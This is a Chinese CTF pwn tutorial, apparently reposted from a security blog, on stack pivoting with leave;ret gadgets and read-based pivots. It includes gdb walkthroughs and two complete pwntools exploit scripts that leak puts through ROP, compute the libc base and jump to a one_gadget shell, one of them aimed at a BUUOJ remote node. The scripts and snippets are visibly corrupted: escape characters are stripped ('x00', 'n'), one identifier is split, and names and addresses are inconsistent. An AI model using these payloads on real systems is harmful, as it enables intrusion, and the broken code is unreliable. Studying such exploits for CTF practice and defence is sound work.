PWN-栈迁移的多种迁移姿势

admin 2024年9月28日11:13:07评论24 views字数 12008阅读40分1秒阅读模式

前言

本篇文章记录了在学习PWN的栈迁移过程中遇到的两种栈迁移的手法,整体的实验环境都是基于X86的,调试系统是Ubuntu 16.04。

函数调用原理

这里的话栈溢出的原理自然就不用讲了,直接来先简单说一下什么是栈迁移的原理。首先栈迁移主要的目的是将我们的EBP/RBP和ESP/RSP迁移到一个我们指定的位置,比如常用的就是bss段。但是迁移的方法归根结底还是要利用leave ; ret这条指令来实现,但是很多时候,光知道迁移过去,迁移过去的栈区开头4/8字节是EBP/RBP的内容,但是很多时候却对原理没有一个清晰的认知,自己调试又调不明白,所以这里先写一个简单的例子来实现一下Call func 、Leave 和 Ret这三条指令做一下调试,学习一下整个函数调用的基础:

函数调用:

源码:

#include <stdio.h>

void func()
{
    printf("hello,world");
}

int main()
{

    func();
    return 0;
}

编译:

gcc -m32 1.c -o 1

调试:

gdb命令:

gdb -q 1

过程:

这里我们实现了一个最基本的函数调用,这里的话我们再画个图来表示一下栈中的情况,然后分别用main_ebp/main_esp和ebp/esp来表示main函数中的栈底/栈顶和func函数中的栈底/栈顶。这里在运行到main函数的开头的时候,大概栈的初始化应该是这样的结构:

PWN-栈迁移的多种迁移姿势

这里直接b main在main函数下个断点,然后就走到call func这个指令前,这里就先不去走前面的push ebp ; mov esp , ebp; sub esp,4;这个栈创建的过程了,到了func函数中的时候再走一下这个过程,看的比较清晰。

PWN-栈迁移的多种迁移姿势

这时候该执行call func指令,其实call指令相当于是 push eip+4mov eip,func_addr两条指令。push eip+4是将下一条指令入栈,用于保存现场。

mov eip,func_addr是将eip寄存器的地址修改为func函数的地址,用于调用func函数。

这时候我们直接si进入func函数,但是我们先不走func函数的push ebp;这一系列的开创栈空间的过程,先看一下这时候执行完call func的栈结构:

PWN-栈迁移的多种迁移姿势
PWN-栈迁移的多种迁移姿势

这里可以看到,我们的之前call func;的下一条指令成功压入到了栈顶,原本main_esp往上也增加了一个地址。

之后进入后就可以看到函数内部会执行开创栈空间的操作,主要调用push ebpmov ebp,espsub esp,0xXX这几条条指令来实现。

PWN-栈迁移的多种迁移姿势

我们这里走完这个push ebp;mov esp,ebp;sub esp,0xXX;这几条指令,直接看开创完的func的栈空间结构:

PWN-栈迁移的多种迁移姿势
PWN-栈迁移的多种迁移姿势

可以看到,从call func的下一条指令地址往上刚好,开创出来了一个属于func函数所使用的栈空间,而大小为0x8 + 0xc = 0x14 大小。

根据栈空间的规则,都是高地址向低地址来进行排布的,所以ebp栈底的地址要比esp栈顶的地址大,因此在使用栈中的变量的时候,一般都是在汇编中以[esp+xxxx]或者[ebp-xxxx]这样的方式来进行访问的。

PWN-栈迁移的多种迁移姿势

这里我们继续向下走,可以看到一条add esp , 0x10;指令,我们停到它之前。

这条指令相当于将栈顶往低降了0x10大小,这是因为我们前面的指令使用完了栈空间的变量了,要回收资源,所以用了0x10大小就要回收0x10大小。

这也就是反映了之前我们大学学的C语言,为什么我们传一个变量当作func的参数进去,值不会发生改变一样,因为一般这种变量又被称作为“栈变量”,所以在当前栈中用完就回收了,所以并不会改变这个变量原本栈中值,所以不会改变。

此时的栈空间还是一样:

PWN-栈迁移的多种迁移姿势
PWN-栈迁移的多种迁移姿势

在执行完add esp,0x10;以后可以看一下栈空间的情况:

PWN-栈迁移的多种迁移姿势

可以发现,由于esp被增加了0x10大小后,相当于将栈顶降低了0x10大小,整个栈空间也就相当于是减少了0x10。

PWN-栈迁移的多种迁移姿势

继续往下走,到leave ; ret这条指令前我们停下来:

PWN-栈迁移的多种迁移姿势

当前栈空间结构还是一样:

PWN-栈迁移的多种迁移姿势

这里因为后面栈迁移主要依靠的就是leave和ret这两条指令,所以这里还是介绍一下leave和ret指令的作用吧。

leave 指令  = mov esp , ebp ;pop ebp ;这两条指令。mov esp , ebp ;相当于是把栈顶的和栈底合并,这时候栈空间中,栈顶位置即使EBP也是ESP。pop ebp ;相当于是将此时栈顶的地址出栈,将其值给到ebp寄存器。而这两条指令的执行,相当于是将栈空间进行了清空。

ret 指令 =pop eip; 这条指令是将当前栈顶的地址出栈,将其值给到eip寄存器。

继续执行,到ret结束,发现我们的Func函数的栈没了,esp和ebp变成了main函数的:

PWN-栈迁移的多种迁移姿势

此时的栈空间:

PWN-栈迁移的多种迁移姿势

下一步就将要执行ret指令,而ret指令相当于是pop eip;此时我们的栈顶只剩下了当时call func的下一条指令的地址,刚好执行后就是回到call 函数以前调用者函数。

PWN-栈迁移的多种迁移姿势

栈结构就恢复到了调用以前:

PWN-栈迁移的多种迁移姿势

总结:

通过调试了整个函数调用的过程,我们了解到了调用一个函数一定会调用的几个指令就是call 、push、 mov sub、add和leave ret。

其中call作为调用指令,会把call func指令的下一条指令的地址(返回地址)先入栈

PWN-栈迁移的多种迁移姿势

之后就是调用push、mov和sub指令进行函数栈的开创

PWN-栈迁移的多种迁移姿势

在使用完毕其中的栈变量后会调用add指令将栈降低,目的是将其资源进行回收

PWN-栈迁移的多种迁移姿势

栈中资源清空后,就是调用leave指令将整个栈进行还原,先调用mov esp,ebp指令将栈顶和栈底指向同一个位置,然后调用pop ebp指令将其弹出到ebp寄存器中。

PWN-栈迁移的多种迁移姿势

最后调用ret指令,将返回地址给到eip寄存器,实现下一步要执行的是返回地址。

PWN-栈迁移的多种迁移姿势

调用结束,回到了main函数中:

PWN-栈迁移的多种迁移姿势

其中几个指令等同于:

call =>

push eip+4 ;

mov eip , func_addr ;

leave =>

mov esp,ebp ;

pop ebp;

ret =>

pop eip;

在了解了整个函数的调用流程后,就可以开始栈迁移了。

栈迁移原理:

首先栈迁移听名字就是将栈搬到我们想要他在的地方,说的直白一点就是将esp和ebp修改为我们想要区段的地址。

为什么需要用到栈迁移?

一个最典型的情况就是我们栈溢出的长度不够了,而且当前栈区很小,没有办法在当前的函数栈内实现对Payload的写入,进而无法完成利用。

所以我们需要将栈搬到一个足够大的地方,然后写入我们的Payload,进而完成栈溢出的利用。

最后就是如何实现栈迁移?

所谓的栈迁移,说的白话一点,就是将程序的ebp和esp这个栈底和栈顶寄存器的值进行修改。

通过刚才函数调用的学习,我们可以知道leave ; ret这两条指令可以实现对ebp的值进行修改,通过执行两遍leave ; ret遍可以实现对栈的迁移。

在执行一遍以后,可以实现将我们的ebp的值也可以修改为指定的栈底,这时候如果再执行一遍,则可以将我们的esp也修改,因为pop ebp的缘故,所以一般esp修改后的值是ebp+8(32位的是+4)的位置。

如此就实现了栈的迁移。

例题:

文件结构:

PWN-栈迁移的多种迁移姿势

保护分析:

发现开启了nx,并未开启其他。

PWN-栈迁移的多种迁移姿势

逻辑分析:

这里可以看到,这个程序实现了两个read:

第一次read可以向name这个变量写入0x100的数据,其中name变量指向bss段的0x601080位置。

PWN-栈迁移的多种迁移姿势

第二次read可以向buf这个栈变量写入0x30大小的数据,而且可以看到buf变量的大小只有0x20大小。

PWN-栈迁移的多种迁移姿势

分析之后,可以知道buf这个栈变量只能溢出0x10大小的数据,相当于刚好可以溢出到rbp返回地址(rip+4)的值,并且整个程序并没有任何的back_door函数来供我们执行system("/bin/sh"),而且也不存在修改bss区段权限的情况,所以无法在bss段执行代码。

这时候,其实我们所能做的事情其实只有:

1 可以在bss段写入0x100大小的任意数据

2 可以向buf变量中输入0x30大小的任意数据

3 溢出只能控制到rbp和返回地址

可以去想根据这些怎么才能实现payload的执行呢??

思路:

假设我们将当前的栈区搬到我们自定义的栈区,比如bss段,那么这个时候,这部分的bss段相当于有了可以执行代码的权限,这时候我们就可以通过对bss段的任意写入,来部署攻击Payload,最后再利用栈溢出将返回地址改成写入Payload的位置,进而实现对Pyload的执行。

思路1实现:

PWN-栈迁移的多种迁移姿势

实现1(使用leave;ret指令):

1. 利用read1的可以写入任意数据到bss段,先部署一下攻击的payload,这里的话在name+0xc8的位置部署一个泄漏puts函数的ROP,ROP最后执行完毕将直接返回main函数,来进行二次的溢出利用,这里返回main函数的时候最好是跳过push ebp这个指令,直接从mov esp,ebp这条指令开始。

leave_ret = elf.search(asm("leave ; ret")).next()
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
pop_rbp_ret = elf.search(asm("pop rbp ; ret")).next()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']+1
log.success("%x",libc.address)
rop = p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(main)
ru('Give me your name:n')
s("x00"*0xc8+p(0xbeeddeef)+rop)
PWN-栈迁移的多种迁移姿势

成功写入

PWN-栈迁移的多种迁移姿势

2. 接着利用read2的栈溢出,将rbp修改为name+0xc8的位置,然后调用leave ; ret指令实现栈迁移,修改ebp和esp,修改ebp到name+0xc8+8的位置后,执行ret即可实现对泄漏puts函数的ROP的执行。

payload = 'a'*0x20+p(0x601080+0xc8)+p(leave_ret)
ru("Input your content.n")
s(payload)

这里发现rbp成功被修改,接下来要执行两次leave ret实现对栈的迁移,因为程序在结束的时候会执行一次leave;ret指令,这里我们将返回地址修改为了leave;ret指令,就实现执行两次leave;ret指令了。

PWN-栈迁移的多种迁移姿势

在执行了两次leave后,栈已成功被迁移,我们在第二次leave完毕后停下来,不执行ret,看一下此时的栈,发现rsp已经成功被修改为ebp+8,我们搬移的rbp为0x601148,所以此时rbp为0x601150。

PWN-栈迁移的多种迁移姿势

3. 这里执行ret后可以看到成功执行了我们写入的ROP

PWN-栈迁移的多种迁移姿势

4. 在执行完毕后,将泄漏出puts的got真实地址,这里为了不影响后续的执行,libc就先用自身的/lib/x86_64-linux-gnu/libc.so.6

这里写一个接收泄漏地址的代码,然后再计算一下libc的基地址:

puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success("libc:%x",libc_base)

发现可以成功拿到了libc的基地址:

PWN-栈迁移的多种迁移姿势

结束后就回到了main函数:

PWN-栈迁移的多种迁移姿势

5. 然后同样的手法构造one_gadget写入bss段直接进行getshell即可,但是这里需要注意,因为本身就已经在bss段了,所以需要注意一下其他的函数会不会影响栈,一旦影响栈内数据,相当于会影响该bss段中我们写入的数据。这里我们直接往name+10的位置one_gadget写即可。

onegadget_table = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base+one_gadget[1]
rop1 = p(one_gadget)
ru('Give me your name:n')
s('x00'*0x10+p(0xbeedbeef)+rop1)

可以发现成功写入:

PWN-栈迁移的多种迁移姿势

6 同2,这里将rbp修改为我们构造的one_gadget处,直接再次构造栈迁移手法去执行即可。

payload1 = 'x00'*0x20+p(0x601080+0x10)+p(leav e_ret)
ru("Input your content.n")
sl(payload1)

发现可以成功执行one_gadget拿到shell

PWN-栈迁移的多种迁移姿势

完整exp:

# -*- encoding: utf-8 -*-
import sys
from pwn import *
from LibcSearcher import LibcSearcher

# context.terminal = ['tmux','new-window']
check_arg = lambda arg: arg in sys.argv

AMD64 = 'amd64'
I386 = 'i386'

ARCH = AMD64
ELF_PATH = './pwn2'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
ASLR = check_arg('aslr')
DEBUG = check_arg('debug')
TCACHE = check_arg('tcache')
REMOTE = check_arg('remote')
CHECKSEC = False
REMOTE_ADDR = 'nc node4.buuoj.cn 26377'.split(' ')[1:]
IP = '' if not REMOTE_ADDR else REMOTE_ADDR[0]
PORT = 0 if not REMOTE_ADDR else REMOTE_ADDR[1]

context.arch = ARCH
context.aslr = ASLR
context.log_level = 'DEBUG' if DEBUG else 'INFO'

elf = ELF(ELF_PATH, checksec=CHECKSEC)
libc = ELF(LIBC_PATH, checksec=CHECKSEC) if LIBC_PATH else elf.libc

create_io = lambda: process(ELF_PATH) if not REMOTE else remote(IP, PORT)
io = create_io()
s = lambda buf: io.send(buf)
ss = lambda buf: io.send(str(buf))
sl = lambda buf: io.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: io.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: io.sendlineafter(delim, buf)
ssla = lambda delim, buf: sla(delim, str(buf))

r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim, drop=False: io.recvuntil(delim, drop)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)

p = lambda data: p64(data) if ARCH==AMD64 else p32(data)
u = lambda data: u64(data) if ARCH==AMD64 else u32(data)
bk = lambda addr=None: attach(io, 'b* 0x%x'%addr) if addr else attach(io)

cdelim = ''
c = lambda i: sla(cdelim, str(i))
bk()
elf.address = 0x555555554000 if elf.pie and not ASLR else elf.address
leave_ret = elf.search(asm("leave ; ret")).next()
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
pop_rbp_ret = elf.search(asm("pop rbp ; ret")).next()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']+1
log.success("%x",libc.address)
rop = p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(main)
log.success("fake ebp:0x%x",0x601080+0xc8)
raw_input("#")
ru('Give me your name:n')
s("x00"*0xc8+p(0xbeeddeef)+rop)
payload = 'a'*0x20+p(0x601080+0xc8)+p(leave_ret)
raw_input("#")
ru("Input your content.n")
s(payload)
puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success("libc:%x",libc_base)
og = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base+og[1]
rop1 = p(one_gadget)
# ru('Give me your name:n')
raw_input("#")
s('x00'*0x10+p(0xbeedbeef)+rop1)
payload1 = 'x00'*0x20+p(0x601080+0x10)+p(leave_ret)
raw_input("#")
ru("Input your content.n")
sl(payload1)
io.interactive()

思路2:

实现1已经基本上将栈迁移的核心已经实现完毕了,但是实现1主要依靠了read1的提前部署ROP,来实现了ROP的执行,那么这里再介绍一种,就是仅仅只用一个read2即可实现栈迁移的利用与写入,并且Payload中不构造leave ; ret指令,仅使用程序自带的指令来实现栈的迁移。

实现2(不使用leave;ret指令):

  1. 这里的栈迁移的操作,主要是多次利用read2的栈溢出能够修改rbp来实现栈迁移,包括rop的写入和执行也是利用了read2函数。第一次read2我们先将rbp修改为name+0xc8 = 0x601148,为了和实现1的rbp统一吧,然后再回到read2。
bss = 0x601080
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read1 = 0x400665
read2 = 0x400683
payload = 'a'*0x20+p(bss+0xc8)+p(read2)
ru('Give me your name:n')
s('k')
ru('Input your content.n')
s(payload)

到了main函数结束时,这里主要利用main函数自己的leave ; ret指令,来实现对ebp和esp的修改。可以看到这次rbp成功被修改为了0x601148,并且下一步将要执行我们修改的read2:

PWN-栈迁移的多种迁移姿势
  1. 回到read2,继续构造payload,但是这回要将ebp设置成name+0xc8+0x20 = 0x601168,然后继续回到read2:
payload1 = 'a'*0x20+p(bss+0xc8+0x20)+p(read2)
s(payload1)

继续走到leave;ret指令处,可以看到利用main函数自带的leave指令,我们成功将rsp修改为了name + 0xc8 + 0x20 = 0x601168

PWN-栈迁移的多种迁移姿势

到此我们就成功的完成了栈迁移,但是目前还缺少ROP的写入和执行,这里也是最关键的一步。

  1. 构造ROP写入到buf变量,执行ROP。
rop = 'a'*8+p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(read2)
s(rop)

这里为什么要这么构造ROP呢?

这里可以看下buf变量的写入位置主要在rbp-0x20的位置,因为栈迁移的原因,rbp已经被我们修改为name + 0xc8 + 0x20 = 0x601168,所以这里buf的写入地址就变成了0x601168 - 0x20 = 0x601148

PWN-栈迁移的多种迁移姿势

rop的写入地址有了,而rop的执行点其实主要在read函数的内部,可以看到read函数内部主要使用了系统调用的方式进行函数的执行,在syscall指令后面可以看到有个ret指令,可以知道ret指令等同于是pop rip,只要我们这里控制了rsp栈顶为我们的rop地址,那么通过ret指令即可实现rop的执行。

PWN-栈迁移的多种迁移姿势

那么问题来了,要如何才能修改rsp的值呢?

这里我们知道写入的地址为0x601048,而这里rsp = name+0xc8+8 = 0x601150,可以算出差8个字节即可写到rsp,所以可以构造rop = 'a'*8+p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(read2),然后即可通过read函数里面的ret指令来实现rop的执行了。

构造的rop:

PWN-栈迁移的多种迁移姿势

可以看到rsp被修改为rop地址:

PWN-栈迁移的多种迁移姿势

接下来就是调用ret指令来实现对rop的执行了,获取puts函数的got真实地址,可以看到成功泄漏。

PWN-栈迁移的多种迁移姿势

rop执行完毕后,返回到了read2,准备下一次的利用:

PWN-栈迁移的多种迁移姿势
  1. 这里写一个接收puts函数的got真实地址,并且计算libc基地址
puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base=puts_addr-libc.symbols['puts']
log.success("libc_base:%x",libc_base)

可以发现成功算出来了libc基地址:

PWN-栈迁移的多种迁移姿势
  1. 利用libc基地址来构造one_gadget,同样用read2来写入one_gadget,并且利用read函数本身的ret指令来实现对one_gadget的执行
ogs=[0x45226,0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[1]
rop = 'a'*0x20+p(og)
sl(rop)

这里rop的构造的原理其实是一样的,刚才上一次泄漏rop的执行,并未修改rbp的值,仅仅只是修改了rsp的值,所以这里写入点依然是0x601148,而rsp栈顶因为刚才rop的构造,被抬高了0x20大小,所以这里需要将'a'*8修改为'a'*0x20,最后构造rop = 'a'*0x20+p(og)

可以发现成功获取到了shell

PWN-栈迁移的多种迁移姿势

完整exp:

# -*- encoding: utf-8 -*-
import sys
from pwn import *
from LibcSearcher import LibcSearcher

# context.terminal = ['tmux','new-window']
check_arg = lambda arg: arg in sys.argv

AMD64 = 'amd64'
I386 = 'i386'

ARCH = AMD64
ELF_PATH = './pwn2'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
ASLR = check_arg('aslr')
DEBUG = check_arg('debug')
TCACHE = check_arg('tcache')
REMOTE = check_arg('remote')
CHECKSEC = False
REMOTE_ADDR = ''.split(' ')[1:]
IP = '' if not REMOTE_ADDR else REMOTE_ADDR[0]
PORT = 0 if not REMOTE_ADDR else REMOTE_ADDR[1]

context.arch = ARCH
context.aslr = ASLR
context.log_level = 'DEBUG' if DEBUG else 'INFO'

elf = ELF(ELF_PATH, checksec=CHECKSEC)
libc = ELF(LIBC_PATH, checksec=CHECKSEC) if LIBC_PATH else elf.libc

create_io = lambda: process(ELF_PATH) if not REMOTE else remote(IP, PORT)
io = create_io()
s = lambda buf: io.send(buf)
ss = lambda buf: io.send(str(buf))
sl = lambda buf: io.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: io.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: io.sendlineafter(delim, buf)
ssla = lambda delim, buf: sla(delim, str(buf))

r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim, drop=False: io.recvuntil(delim, drop)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)

p = lambda data: p64(data) if ARCH==AMD64 else p32(data)
u = lambda data: u64(data) if ARCH==AMD64 else u32(data)
bk = lambda addr=None: attach(io, 'b* 0x%x'%addr) if addr else attach(io)

cdelim = ''
c = lambda i: sla(cdelim, str(i))

elf.address = 0x555555554000 if elf.pie and not ASLR else elf.address
bk()
bss = 0x601080
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read1 = 0x400665
read2 = 0x400683
payload = 'a'*0x20+p(bss+0xc8)+p(read2)
ru('Give me your name:n')
s('k')
ru('Input your content.n')
s(payload)
raw_input("#")
payload1 = 'a'*0x20+p(bss+0xc8+0x20)+p(read2)
s(payload1)
raw_input("#")
rop = 'a'*8+p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(read2)
s(rop)
puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base=puts_addr-libc.symbols['puts']
log.success("libc_base:%x",libc_base)
ogs=[0x45226,0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[1]
rop = 'a'*0x20+p(og)
sl(rop)
io.interactive()

One_Gadget的获取方法:

PWN-栈迁移的多种迁移姿势

原文始发于微信公众号(弱口令安全实验室):PWN-栈迁移的多种迁移姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:13:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN-栈迁移的多种迁移姿势https://cn-sec.com/archives/3102084.html

发表评论

匿名网友 填写信息